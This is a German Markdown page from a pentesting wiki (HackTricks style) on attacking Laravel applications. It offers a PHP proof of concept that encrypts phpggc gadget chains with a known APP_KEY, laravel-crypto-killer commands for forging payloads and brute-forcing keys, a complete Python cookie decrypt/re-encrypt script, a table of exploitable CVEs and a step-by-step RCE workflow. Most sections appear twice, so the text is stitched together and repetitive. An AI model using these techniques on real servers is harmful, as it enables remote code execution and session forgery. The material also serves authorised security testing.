267 lines
13 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Laravel
{{#include ../../banners/hacktricks-training.md}}
### Laravel SQLInjection
Lesen Sie Informationen dazu hier: [https://stitcher.io/blog/unsafe-sql-functions-in-laravel](https://stitcher.io/blog/unsafe-sql-functions-in-laravel)
---
## APP_KEY & Verschlüsselungsinternas (Laravel \u003e=5.6)
Laravel verwendet AES-256-CBC (oder GCM) mit HMAC-Integrität im Hintergrund (`Illuminate\\Encryption\\Encrypter`).
Der rohe Chiffretext, der schließlich **an den Client gesendet** wird, ist **Base64 eines JSON-Objekts** wie:
```json
{
"iv" : "Base64(random 16-byte IV)",
"value": "Base64(ciphertext)",
"mac" : "HMAC_SHA256(iv||value, APP_KEY)",
"tag" : "" // only used for AEAD ciphers (GCM)
}
```
`encrypt($value, $serialize=true)` wird standardmäßig `serialize()` den Klartext, während `decrypt($payload, $unserialize=true)` **automatisch `unserialize()`** den entschlüsselten Wert. Daher **kann jeder Angreifer, der den 32-Byte-Geheimschlüssel `APP_KEY` kennt, ein verschlüsseltes PHP-serialisiertes Objekt erstellen und RCE über magische Methoden (`__wakeup`, `__destruct`, …) erlangen**.
Minimal PoC (Framework ≥9.x):
```php
use Illuminate\Support\Facades\Crypt;
$chain = base64_decode('<phpggc-payload>'); // e.g. phpggc Laravel/RCE13 system id -b -f
$evil = Crypt::encrypt($chain); // JSON->Base64 cipher ready to paste
```
Injiziere den erzeugten String in jede verwundbare `decrypt()` Senke (Routenparameter, Cookie, Sitzung, …).
---
## laravel-crypto-killer 🧨
[laravel-crypto-killer](https://github.com/synacktiv/laravel-crypto-killer) automatisiert den gesamten Prozess und fügt einen praktischen **bruteforce** Modus hinzu:
```bash
# Encrypt a phpggc chain with a known APP_KEY
laravel_crypto_killer.py encrypt -k "base64:<APP_KEY>" -v "$(phpggc Laravel/RCE13 system id -b -f)"
# Decrypt a captured cookie / token
laravel_crypto_killer.py decrypt -k <APP_KEY> -v <cipher>
# Try a word-list of keys against a token (offline)
laravel_crypto_killer.py bruteforce -v <cipher> -kf appkeys.txt
```
Das Skript unterstützt transparent sowohl CBC- als auch GCM-Payloads und regeneriert das HMAC/Tag-Feld.
---
## Reale verwundbare Muster
| Projekt | Verwundbare Senke | Gadget-Kette |
|---------|-------------------|--------------|
| Invoice Ninja ≤v5 (CVE-2024-55555) | `/route/{hash}``decrypt($hash)` | Laravel/RCE13 |
| Snipe-IT ≤v6 (CVE-2024-48987) | `XSRF-TOKEN` Cookie, wenn `Passport::withCookieSerialization()` aktiviert ist | Laravel/RCE9 |
| Crater (CVE-2024-55556) | `SESSION_DRIVER=cookie``laravel_session` Cookie | Laravel/RCE15 |
Der Exploit-Workflow ist immer:
1. `APP_KEY` beschaffen (Standardbeispiele, Git-Leak, config/.env-Leak oder Brute-Force)
2. Gadget mit **PHPGGC** generieren
3. `laravel_crypto_killer.py encrypt …`
4. Payload über den verwundbaren Parameter/Cookie liefern → **RCE**
---
## Massenhafte APP_KEY-Entdeckung durch Cookie-Brute-Force
Da jede frische Laravel-Antwort mindestens 1 verschlüsseltes Cookie (`XSRF-TOKEN` und normalerweise `laravel_session`) setzt, **leaken öffentliche Internet-Scanner (Shodan, Censys, …) Millionen von Chiffretexten**, die offline angegriffen werden können.
Wichtige Ergebnisse der von Synacktiv veröffentlichten Forschung (2024-2025):
* Datensatz Juli 2024 » 580 k Tokens, **3,99 % Schlüssel geknackt** (≈23 k)
* Datensatz Mai 2025 » 625 k Tokens, **3,56 % Schlüssel geknackt**
* >1 000 Server sind weiterhin anfällig für das Legacy-CVE-2018-15133, da Tokens direkt serialisierte Daten enthalten.
* Hohe Schlüsselwiederverwendung die Top-10 APP_KEYs sind hartkodierte Standardwerte, die mit kommerziellen Laravel-Vorlagen (UltimatePOS, Invoice Ninja, XPanel, …) ausgeliefert werden.
Das private Go-Tool **nounours** erhöht die AES-CBC/GCM-Bruteforce-Durchsatzrate auf ~1,5 Milliarden Versuche/s, wodurch das Knacken des vollständigen Datensatzes auf <2 Minuten reduziert wird.
---
## Referenzen
* [Laravel: APP_KEY-Leckanalyse](https://www.synacktiv.com/publications/laravel-appkey-leakage-analysis.html)
* [laravel-crypto-killer](https://github.com/synacktiv/laravel-crypto-killer)
* [PHPGGC PHP Generic Gadget Chains](https://github.com/ambionics/phpggc)
* [CVE-2018-15133 Write-up (WithSecure)](https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce)
## Laravel Tricks
### Debugging-Modus
Wenn Laravel im **Debugging-Modus** ist, können Sie auf den **Code** und **sensible Daten** zugreifen.\
Zum Beispiel `http://127.0.0.1:8000/profiles`:
![](<../../images/image (1046).png>)
Dies wird normalerweise benötigt, um andere Laravel RCE CVEs auszunutzen.
### .env
Laravel speichert den APP, den es zur Verschlüsselung der Cookies und anderer Anmeldeinformationen verwendet, in einer Datei namens `.env`, die über einige Pfadüberquerungen unter: `/../.env` zugänglich ist.
Laravel zeigt diese Informationen auch auf der Debug-Seite an (die erscheint, wenn Laravel einen Fehler findet und aktiviert ist).
Mit dem geheimen APP_KEY von Laravel können Sie Cookies entschlüsseln und erneut verschlüsseln:
### Cookie entschlüsseln
```python
import os
import json
import hashlib
import sys
import hmac
import base64
import string
import requests
from Crypto.Cipher import AES
from phpserialize import loads, dumps
#https://gist.github.com/bluetechy/5580fab27510906711a2775f3c4f5ce3
def mcrypt_decrypt(value, iv):
global key
AES.key_size = [len(key)]
crypt_object = AES.new(key=key, mode=AES.MODE_CBC, IV=iv)
return crypt_object.decrypt(value)
def mcrypt_encrypt(value, iv):
global key
AES.key_size = [len(key)]
crypt_object = AES.new(key=key, mode=AES.MODE_CBC, IV=iv)
return crypt_object.encrypt(value)
def decrypt(bstring):
global key
dic = json.loads(base64.b64decode(bstring).decode())
mac = dic['mac']
value = bytes(dic['value'], 'utf-8')
iv = bytes(dic['iv'], 'utf-8')
if mac == hmac.new(key, iv+value, hashlib.sha256).hexdigest():
return mcrypt_decrypt(base64.b64decode(value), base64.b64decode(iv))
#return loads(mcrypt_decrypt(base64.b64decode(value), base64.b64decode(iv))).decode()
return ''
def encrypt(string):
global key
iv = os.urandom(16)
#string = dumps(string)
padding = 16 - len(string) % 16
string += bytes(chr(padding) * padding, 'utf-8')
value = base64.b64encode(mcrypt_encrypt(string, iv))
iv = base64.b64encode(iv)
mac = hmac.new(key, iv+value, hashlib.sha256).hexdigest()
dic = {'iv': iv.decode(), 'value': value.decode(), 'mac': mac}
return base64.b64encode(bytes(json.dumps(dic), 'utf-8'))
app_key ='HyfSfw6tOF92gKtVaLaLO4053ArgEf7Ze0ndz0v487k='
key = base64.b64decode(app_key)
decrypt('eyJpdiI6ImJ3TzlNRjV6bXFyVjJTdWZhK3JRZ1E9PSIsInZhbHVlIjoiQ3kxVDIwWkRFOE1sXC9iUUxjQ2IxSGx1V3MwS1BBXC9KUUVrTklReit0V2k3TkMxWXZJUE02cFZEeERLQU1PV1gxVForYkd1dWNhY3lpb2Nmb0J6YlNZR28rVmk1QUVJS3YwS3doTXVHSlhcL1JGY0t6YzhaaGNHR1duSktIdjF1elwvNXhrd1Q4SVlXMzBrbTV0MWk5MXFkSmQrMDJMK2F4cFRkV0xlQ0REVU1RTW5TNVMrNXRybW9rdFB4VitTcGQ0QlVlR3Vwam1IdERmaDRiMjBQS05VXC90SzhDMUVLbjdmdkUyMnQyUGtadDJHSEIyQm95SVQxQzdWXC9JNWZKXC9VZHI4Sll4Y3ErVjdLbXplTW4yK25pTGxMUEtpZVRIR090RlF0SHVkM0VaWU8yODhtaTRXcVErdUlhYzh4OXNacXJrVytqd1hjQ3FMaDhWeG5NMXFxVXB1b2V2QVFIeFwvakRsd1pUY0h6UUR6Q0UrcktDa3lFOENIeFR0bXIrbWxOM1FJaVpsTWZkSCtFcmd3aXVMZVRKYXl0RXN3cG5EMitnanJyV0xkU0E3SEUrbU0rUjlENU9YMFE0eTRhUzAyeEJwUTFsU1JvQ3d3UnIyaEJiOHA1Wmw1dz09IiwibWFjIjoiNmMzODEzZTk4MGRhZWVhMmFhMDI4MWQzMmRkNjgwNTVkMzUxMmY1NGVmZWUzOWU4ZTJhNjBiMGI5Mjg2NzVlNSJ9')
#b'{"data":"a:6:{s:6:\\"_token\\";s:40:\\"vYzY0IdalD2ZC7v9yopWlnnYnCB2NkCXPbzfQ3MV\\";s:8:\\"username\\";s:8:\\"guestc32\\";s:5:\\"order\\";s:2:\\"id\\";s:9:\\"direction\\";s:4:\\"desc\\";s:6:\\"_flash\\";a:2:{s:3:\\"old\\";a:0:{}s:3:\\"new\\";a:0:{}}s:9:\\"_previous\\";a:1:{s:3:\\"url\\";s:38:\\"http:\\/\\/206.189.25.23:31031\\/api\\/configs\\";}}","expires":1605140631}\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e'
encrypt(b'{"data":"a:6:{s:6:\\"_token\\";s:40:\\"RYB6adMfWWTSNXaDfEw74ADcfMGIFC2SwepVOiUw\\";s:8:\\"username\\";s:8:\\"guest60e\\";s:5:\\"order\\";s:8:\\"lolololo\\";s:9:\\"direction\\";s:4:\\"desc\\";s:6:\\"_flash\\";a:2:{s:3:\\"old\\";a:0:{}s:3:\\"new\\";a:0:{}}s:9:\\"_previous\\";a:1:{s:3:\\"url\\";s:38:\\"http:\\/\\/206.189.25.23:31031\\/api\\/configs\\";}}","expires":1605141157}')
```
### Laravel Deserialization RCE
Anfällige Versionen: 5.5.40 und 5.6.x bis 5.6.29 ([https://www.cvedetails.com/cve/CVE-2018-15133/](https://www.cvedetails.com/cve/CVE-2018-15133/))
Hier finden Sie Informationen über die Deserialisierungsanfälligkeit: [https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/](https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/)
Sie können es testen und ausnutzen mit [https://github.com/kozmic/laravel-poc-CVE-2018-15133](https://github.com/kozmic/laravel-poc-CVE-2018-15133)\
Oder Sie können es auch mit metasploit ausnutzen: `use unix/http/laravel_token_unserialize_exec`
### CVE-2021-3129
Eine weitere Deserialisierung: [https://github.com/ambionics/laravel-exploits](https://github.com/ambionics/laravel-exploits)
### Laravel SQLInjection
Lesen Sie Informationen darüber hier: [https://stitcher.io/blog/unsafe-sql-functions-in-laravel](https://stitcher.io/blog/unsafe-sql-functions-in-laravel)
### Laravel SQLInjection
Lesen Sie Informationen darüber hier: [https://stitcher.io/blog/unsafe-sql-functions-in-laravel](https://stitcher.io/blog/unsafe-sql-functions-in-laravel)
---
## APP_KEY & Encryption internals (Laravel \u003e=5.6)
Laravel verwendet AES-256-CBC (oder GCM) mit HMAC-Integrität im Hintergrund (`Illuminate\\Encryption\\Encrypter`).
Der rohe Chiffretext, der schließlich **an den Client gesendet** wird, ist **Base64 eines JSON-Objekts** wie:
```json
{
"iv" : "Base64(random 16-byte IV)",
"value": "Base64(ciphertext)",
"mac" : "HMAC_SHA256(iv||value, APP_KEY)",
"tag" : "" // only used for AEAD ciphers (GCM)
}
```
`encrypt($value, $serialize=true)` wird standardmäßig `serialize()` den Klartext, während `decrypt($payload, $unserialize=true)` **automatisch `unserialize()`** den entschlüsselten Wert. Daher **kann jeder Angreifer, der den 32-Byte-Geheimschlüssel `APP_KEY` kennt, ein verschlüsseltes PHP-serialisiertes Objekt erstellen und RCE über magische Methoden (`__wakeup`, `__destruct`, …) erlangen**.
Minimal PoC (Framework ≥9.x):
```php
use Illuminate\Support\Facades\Crypt;
$chain = base64_decode('<phpggc-payload>'); // e.g. phpggc Laravel/RCE13 system id -b -f
$evil = Crypt::encrypt($chain); // JSON->Base64 cipher ready to paste
```
Injiziere den erzeugten String in jede verwundbare `decrypt()` Senke (Routenparameter, Cookie, Sitzung, …).
---
## laravel-crypto-killer 🧨
[laravel-crypto-killer](https://github.com/synacktiv/laravel-crypto-killer) automatisiert den gesamten Prozess und fügt einen praktischen **bruteforce** Modus hinzu:
```bash
# Encrypt a phpggc chain with a known APP_KEY
laravel_crypto_killer.py encrypt -k "base64:<APP_KEY>" -v "$(phpggc Laravel/RCE13 system id -b -f)"
# Decrypt a captured cookie / token
laravel_crypto_killer.py decrypt -k <APP_KEY> -v <cipher>
# Try a word-list of keys against a token (offline)
laravel_crypto_killer.py bruteforce -v <cipher> -kf appkeys.txt
```
Das Skript unterstützt transparent sowohl CBC- als auch GCM-Payloads und regeneriert das HMAC/Tag-Feld.
---
## Verwundbare Muster in der realen Welt
| Projekt | Verwundbare Senke | Gadget-Kette |
|---------|-------------------|--------------|
| Invoice Ninja ≤v5 (CVE-2024-55555) | `/route/{hash}``decrypt($hash)` | Laravel/RCE13 |
| Snipe-IT ≤v6 (CVE-2024-48987) | `XSRF-TOKEN` Cookie, wenn `Passport::withCookieSerialization()` aktiviert ist | Laravel/RCE9 |
| Crater (CVE-2024-55556) | `SESSION_DRIVER=cookie``laravel_session` Cookie | Laravel/RCE15 |
Der Exploit-Workflow ist immer:
1. `APP_KEY` beschaffen (Standardbeispiele, Git-Leak, config/.env-Leak oder Brute-Force)
2. Gadget mit **PHPGGC** generieren
3. `laravel_crypto_killer.py encrypt …`
4. Payload über den verwundbaren Parameter/Cookie liefern → **RCE**
---
## Massenhafte APP_KEY-Entdeckung durch Cookie-Brute-Force
Da jede frische Laravel-Antwort mindestens 1 verschlüsseltes Cookie (`XSRF-TOKEN` und normalerweise `laravel_session`) setzt, **leaken öffentliche Internet-Scanner (Shodan, Censys, …) Millionen von Chiffretexten**, die offline angegriffen werden können.
Wichtige Ergebnisse der von Synacktiv veröffentlichten Forschung (2024-2025):
* Datensatz Juli 2024 » 580 k Tokens, **3,99 % Schlüssel geknackt** (≈23 k)
* Datensatz Mai 2025 » 625 k Tokens, **3,56 % Schlüssel geknackt**
* >1 000 Server sind weiterhin anfällig für das Legacy-CVE-2018-15133, da Tokens direkt serialisierte Daten enthalten.
* Hohe Schlüsselwiederverwendung die Top-10 APP_KEYs sind fest codierte Standardwerte, die mit kommerziellen Laravel-Vorlagen (UltimatePOS, Invoice Ninja, XPanel, …) ausgeliefert werden.
Das private Go-Tool **nounours** erhöht die AES-CBC/GCM-Bruteforce-Durchsatzrate auf ~1,5 Milliarden Versuche/s und reduziert das Knacken des vollständigen Datensatzes auf <2 Minuten.
---
## Referenzen
* [Laravel: APP_KEY-Leckanalyse](https://www.synacktiv.com/publications/laravel-appkey-leakage-analysis.html)
* [laravel-crypto-killer](https://github.com/synacktiv/laravel-crypto-killer)
* [PHPGGC PHP Generic Gadget Chains](https://github.com/ambionics/phpggc)
* [CVE-2018-15133 Write-up (WithSecure)](https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce)
{{#include ../../banners/hacktricks-training.md}}